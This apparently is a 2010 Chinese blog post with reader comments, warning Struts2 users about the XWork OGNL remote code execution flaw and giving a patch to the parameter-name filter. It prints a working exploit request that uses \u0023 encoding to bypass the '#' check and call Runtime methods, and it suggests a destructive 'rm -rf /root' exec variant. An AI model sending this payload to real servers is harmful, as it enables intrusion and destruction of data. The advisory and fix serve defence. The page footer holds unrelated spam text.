隨筆-124  評論-49  文章-56  trackbacks-0
          最近發(fā)現(xiàn) struts 2的這個(gè)嚴(yán)重安全漏洞,在http://www.javaeye.com/topic/720209中已經(jīng)有所表述,主要是OGNL的問題,摘錄如下:
          exploit-db網(wǎng)站在7月14日爆出了一個(gè)Struts2的遠(yuǎn)程執(zhí)行任意代碼的漏洞。
          漏洞名稱:Struts2/XWork < 2.2.0 Remote Command Execution Vulnerability
          相關(guān)介紹:
          http://www.exploit-db.com/exploits/14360/
          http://sebug.net/exploit/19954/

          Struts2的核心是使用的webwork框架,處理 action時(shí)通過調(diào)用底層的getter/setter方法來處理http的參數(shù),它將每個(gè)http參數(shù)聲明為一個(gè)ONGL(這里是ONGL的介紹)語句。當(dāng)我們提交一個(gè)http參數(shù):
          Java代碼
          ?user.address.city=Bishkek&user['favoriteDrink']=kumys 

          ?user.address.city=Bishkek&user['favoriteDrink']=kumys
          ONGL將它轉(zhuǎn)換為:
          Java代碼
          action.getUser().getAddress().setCity("Bishkek")  
          action.getUser().setFavoriteDrink("kumys") 

          action.getUser().getAddress().setCity("Bishkek")
          action.getUser().setFavoriteDrink("kumys")
          這是通過ParametersInterceptor(參數(shù)過濾器)來執(zhí)行的,使用用戶提供的HTTP參數(shù)調(diào)用 ValueStack.setValue()。
          為了防范篡改服務(wù)器端對象,XWork的ParametersInterceptor不允許參數(shù)名中出現(xiàn)“#”字符,但如果使用了Java的 unicode字符串表示\u0023,攻擊者就可以繞過保護(hù),修改保護(hù)Java方式執(zhí)行的值:
          此處代碼有破壞性,請?jiān)跍y試環(huán)境執(zhí)行,嚴(yán)禁用此種方法進(jìn)行惡意攻擊
          Java代碼
          ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 

          ?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1
          轉(zhuǎn)義后是這樣:
          Java代碼
          ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1 

          ?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1
          OGNL處理時(shí)最終的結(jié)果就是Java代碼
          java.lang.Runtime.getRuntime().exit(1); 

          java.lang.Runtime.getRuntime().exit(1);
          類似的可以執(zhí)行Java代碼
          java.lang.Runtime.getRuntime().exec("rm –rf /root") 

          java.lang.Runtime.getRuntime().exec("rm –rf /root"),只要有權(quán)限就可以刪除任何一個(gè)目錄。


          目前的解決方法如下,官方的出了補(bǔ)丁的,可以在
          http://svn.apache.org/viewvc?view=revision&revision=956389
          目前2.1.8的最新版本的,可以下載其中這個(gè)補(bǔ)丁修補(bǔ),
          而如果你的版本是低于2.1.8的,可以去下載xwork-2.XX.JAR對應(yīng)的源代碼(本來想反編譯JAR的,發(fā)現(xiàn)還是找源代碼好),
          然后修改其中的com/opensymphone/xwork2/interceptor/ParameterInterceptor.java
          在其中的acceptableName方法中調(diào)整如下:
          protected boolean acceptableName(String name) {
                 boolean foundMatch=false;  
                  foundMatch = name.contains("\\u0023");  
                  if(foundMatch){  
                      return false;  
                  }
                  if (name.indexOf('=') != -1 || name.indexOf(',') != -1 || name.indexOf('#') != -1
                          || name.indexOf(':') != -1 || isExcluded(name)) {
                      return false;
                  } else {
                      return true;
                  }
                 
              }
          posted on 2010-07-30 18:15 junly 閱讀(5505) 評論(3)  編輯  收藏 所屬分類: struts2/struts1.3/JSF

          評論:
          # re: 米struts2的用戶請注意這個(gè)超級安全漏洞 2010-07-30 18:24 | junly
          我自已也沒更新,周一了,佛祖保佑!!  回復(fù)  更多評論
            
          # re: 米struts2的用戶請注意這個(gè)超級安全漏洞 2010-08-05 09:45 | Aaronlong31
          我試過了,很夸張啊,謝謝樓主提醒,改過來了  回復(fù)  更多評論
            
          # re: 米struts2的用戶請注意這個(gè)超級安全漏洞[未登錄] 2010-08-16 12:01 | xxx
          protected boolean acceptableName(String name) {
          if (isAccepted(name) && !isExcluded(name)) {
          return true;
          }
          return false;
          }

          上面是官方的出了補(bǔ)丁,這是修正過的代碼嗎?  回復(fù)  更多評論
            
          主站蜘蛛池模板: 五峰| 蓬溪县| 翁源县| 阜城县| 彝良县| 莱西市| 遂昌县| 蛟河市| 兴化市| 清原| 商都县| 邵阳县| 河东区| 仪征市| 隆子县| 青河县| 五峰| 子洲县| 珠海市| 沅江市| 丰县| 阜阳市| 石楼县| 库尔勒市| 楚雄市| 修武县| 安图县| 昌黎县| 永宁县| 莒南县| 慈溪市| 巴里| 湘阴县| 方正县| 清镇市| 竹北市| 临澧县| 巴塘县| 黔东| 五台县| 汉阴县|